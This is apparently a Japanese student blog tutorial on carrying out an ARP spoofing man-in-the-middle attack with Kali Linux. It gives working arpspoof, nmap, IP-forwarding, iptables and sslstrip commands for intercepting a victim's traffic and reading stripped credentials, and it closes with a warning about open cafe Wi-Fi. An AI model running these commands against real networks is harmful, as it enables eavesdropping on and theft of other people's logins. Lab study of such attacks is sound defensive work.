24
35

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

HALAdvent Calendar 2016

Day 11

kali linuxでarpspoofingしてみる

Posted at

自己紹介

HAL大阪2回生で、webとセキュリティ、ネットワークの勉強をしています。
Twitter @kinkoruumu416

kali linuxってなんぞ

Kali Linux とは、ペネトレーションテスト(実際にコンピューターに侵入して攻撃するテスト)で使用するツールをまとめた Debian ベースの Linux ディストリビューションです。 Kali Linux は、有名だった BackTrack の後継になります。 BackTrack の開発は既に停止しています。

つまり、ペネトレーションテストをするために便利なツールがたくさんインストールされているOSです。

OSのインストール方法はこの記事をみてね!

さっそく攻撃方法の紹介

今回はARPスプーフィングという攻撃を紹介します。

ARPスプーフィング(アープスプーフィング)とは、ARPプロトコルの応答を偽装することにより、LAN上で通信機器のなりすましを行なう技法である。

各PCの中にあるARPテーブルには、IPアドレスとそれに紐付いたMACアドレスが記録されています。
ARPスプーフィングはそのARPテーブルに書かれたMACアドレスを書き換えます。
そうすることで、対象者の通信を攻撃者のパソコンを経由させることが出来るので、通信内容を盗聴することができます。
このような攻撃を中間者攻撃(man-in-the-middle attack)と言います。
この攻撃をするには対象者と攻撃者が同一ネットワーク内にいる必要があります。

arpspoof

実際にARPテーブルを書き換えるにはarpspoofコマンドを使用します。

$ arpspoof -i インターフェース名 -t 送信元 送信先

攻撃してみよう

今回の環境は次の通りです
Untitled.png

まずは、自分のPCに設定されたネットワーク情報を確認してみましょう。

$ ifconfig
eth0: flags=xxxx<UP,BROADCAST,MULTICAST> mtu xxxx 
      inet 192.168.43.43 netmask 255.255.255.0 broadcast 192.168.43.255
      inet6 xxxx:xxxx:xxxx:xxxx prefixlen 64 scopeid 0x20<link>
      ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet)

次に対象者のIPアドレスを確認します。
今回は対象者のIPアドレスはわかっていますが、同一ネットワーク内にいるPCを調べるなら次のようにすると良いでしょう。

$ nmap -F 192.168.43.0/24

環境に合わせてIPアドレスやサブネットマスクを変更してください。

次に、
PCを経由するパケットをフォワードさせるために、IPフォワーディングを有効にしましょう。

$ echo 1 > /proc/sys/net/ipv4/ip_forward

ARPテーブルの書き換え

$ arpspoof -i eth0 -t 192.168.43.1 192.168.43.36
$ arpspoof -i eth0 -t 192.168.43.36 192.168.43.1

インターフェース名はifconfigで確認した名前にしましょう。
2回実行しているのは、送信と受信両方が攻撃者PCを経由して通信するようにする為です。
上の行がルーターのARPテーブルにある対象者のMACアドレスを攻撃者のMACアドレスに書き換えるためのもの
下の行が対象者のARPテーブルにあるルーターのMACアドレスを攻撃者のMACアドレスに書き換えるためのもの

これで対象者とルーターとの通信はすべて攻撃者のPCを経由するので、後は何でもやりたい放題です。

パケットをキャプチャするならwireshark

$ wireshark

ssl通信を盗聴するならsslstrip

$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
$ sslstrip -l 8080

#対象者がssl通信を行った後
$ cat sslstrip.log

などさまざまなことができます。

あとがき

セキュリティに興味をもって、無線LANのパスワード解析をして遊んでいました。
その時は、もしパスワードがばれてもタダで無線LANを使われる位に思っていましたが、
MITM攻撃に出会って同一ネットワークに入られることの危険性を知りました。

カフェなどで無線ネットワークが解放されていますが、このような攻撃がされ放題の場所なので気をつけましょうw

24
35
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
24
35

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?